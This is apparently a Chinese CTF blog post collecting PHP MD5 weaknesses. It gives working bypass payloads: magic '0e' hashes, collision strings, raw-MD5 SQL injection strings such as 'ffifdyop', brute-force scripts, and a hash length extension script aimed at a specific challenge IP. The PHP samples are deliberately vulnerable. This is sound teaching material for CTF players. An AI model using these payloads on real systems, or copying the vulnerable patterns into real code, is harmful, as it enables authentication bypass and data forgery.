CTF中关于md5的一些总结

MD5弱类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
if (isset($_GET['a']) and isset($_GET['b']))
{
if ($_GET['a'] != $_GET['b'])
{
if ((md5($_GET['a']) == md5($_GET['b'])))
echo "ok";
else
echo "nonono";
}
}
?>

方法一:数组绕过

由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组来绕过

方法二:科学计数法绕过

可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

EEIZDOI
0e782601363539291779881938479162

240610708
0e462097431906509019562988736854

MD5强类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
if (isset($_GET['a']) and isset($_GET['b']))
{
if ($_GET['a'] != $_GET['b'])
{
if ((md5($_GET['a']) === md5($_GET['b'])))
echo "ok";
else
echo "nonono";
}
}
?>

===的情况下如果没有加类似is_numeric的函数进行过滤还是可以使用数组绕过,但是不能使用科学计数法绕过了

方法三:MD5强碰撞

可以使用fastcoll来碰撞出一组内容不同但md5值相同的值

1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

双MD5

MD5和双MD5以后的值都是0e开头的

1
2
3
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

$md5==md5($md5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$md5          md5($md5)
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
0e00928251504 0e148856674729228041723861799600
0e01350016114 0e769018222125751782256460324867
0e01352028862 0e388419153010508575572061606161
0e01392313004 0e793314107039222217518920037885
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
0e02760920150 0e413159393756646578537635311046
0e02784726287 0e433955189140949269100965859496
0e03298616350 0e851613188370453906408258609284
0e03393034171 0e077847024281996293485700020358

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding: utf8 -*-
import hashlib
payload = "0123456789"


def calcMd5(s):
MD5 = hashlib.md5(s).hexdigest()
if MD5[0:2] == "0e" and MD5[2:32].isdigit():
print s,MD5

def getStr(payload,s,slen):
#print '.',
if len(s) == slen:
#Custom string
calcMd5(s)
return s
for j in xrange(len(payload)):
sl= s+payload[j]
getStr(payload,sl,slen)

if __name__ == '__main__':
getStr(payload,'0e',13)

截断比较(暴力破解)

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
if (substr(md5($_POST['auth']),0,6) == "666666") {
echo "1";
} else {
echo "2";
}
?>

代码中需要md5后前6位为666666
可以通过脚本进行爆破
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys


CHARS = string.letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS

while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)

if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()


if __name__ == '__main__':
substr = sys.argv[1].strip()

start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0

str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]

for p in processes:
p.start()

for p in processes:
p.join()

运行脚本
第一个参数是需要的字符串,第二个参数是从哪一位开始

验证


补充一个升级版脚本,支持尾部添加字符串
例子:
假设字符串是随机的(指12ba91e0c

1
2
3
4
5
6
7
<?php
if (substr(md5($_POST['auth']."12ba"),0,5) == "91e0c") {
echo "1";
} else {
echo "2";
}
?>
1
2
>python2 md5.py "91e0c" 0 12ba
1KVErD6VijQCd9BrkPEl //跑出的值,已经去除结尾

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys


CHARS = string.letters + string.digits


def cmp_md5(substr, stop_event, str_len,off, start=0, size=20):
global CHARS

while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
rnds1 =rnds+ off
md5 = hashlib.md5(rnds1)

if md5.hexdigest()[start: start+str_len] == substr:
print( rnds)
stop_event.set()


if __name__ == '__main__':
substr = sys.argv[1].strip()

start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
off=sys.argv[3]
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len,off, start_pos))
for i in range(cpus)]

for p in processes:
p.start()

for p in processes:
p.join()

不同文件相同md5

linux使用md5collgen碰撞生成两个md5值相同但内容不同的文件

1
md5collgen -o 1.bin 2.bin

windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件

1
2
fastcoll.exe -p 123.txt -o 1.txt 2.txt
fastcoll.exe a.jpg -o 1.jpg 2.jpg

php中md5($str,true)注入

1
2
3
4
5
6
7
8
9
10
<?php
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result = mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'Success';
}else{
echo 'Failure';
}
?>

我们只需要找md5加密后字符串中是否存在'or'字符串

比如经典的ffifdyop,经过md5加密后276f722736c95d99e921722cf9ed621c,转字符串后就包含了'or'

其他的例子和exp

1
2
3
4
5
ffifdyop
4SV7p
bJm4aG
bNas5p
ckHAEb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
function calc_md5_true($s)
{
$md5_true = md5($s,true);
if (strpos($md5_true,"'or'") !== false){
echo $s.PHP_EOL;
}
}

function getstr($payload, $s, $slen)
{
if (strlen($s) == $slen) {
calc_md5_true($s);
return $s;
}
for ($i = 0; $i < strlen($payload); $i++) {

$sl = $s . $payload[$i];
getstr($payload, $sl, $slen);
}

}

//字符串长度从3到30,肯定找得到
for ($i = 3; $i < 30; $i++) {
getstr($payload, '', $i);
}

HASH长度扩展攻击

$hash = md5($salt.$data)中已知$hash$data以及$salt的长度时
可以找到另一个$_hash$_data使得$_hash = md5($salt.$_data)成立

已知salt长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}

使用hashpump进行计算

第一行是得到的hash值,即hash(salt+’adminroot’)
第二行是已知数据,即’adminroot’
第三行是salt长度
第四行是要添加的数据(这个随意,至少1位以上)

\x替换为%


hashpump的作者删库了,可以使用hash-ext-attack或者hexpand代替

未知salt长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
攻击代码

import hashpumpy
import urllib
import requests
for i in range(1,30):
m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
print i
url='http://120.26.131.152:32778/'
digest=m[0]

message=urllib.quote(urllib.unquote(m[1])[::-1])
cookie='role='+message+'; hsh='+digest
#print cookie
headers={
'cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}
print headers
re=requests.get(url=url,headers=headers)
print re.text
if "Welcome" in re.text:
print re;
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
使用说明

>>> import hashpumpy
>>> help(hashpumpy.hashpump)
Help on built-in function hashpump in module hashpumpy:
hashpump(...)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
('e3c4a05f', 'original_datadata_to_add')

CTF中关于md5的一些总结
https://www.dr0n.top/posts/ad669f62/
作者
dr0n
发布于
2021年10月31日
更新于
2024年4月27日
许可协议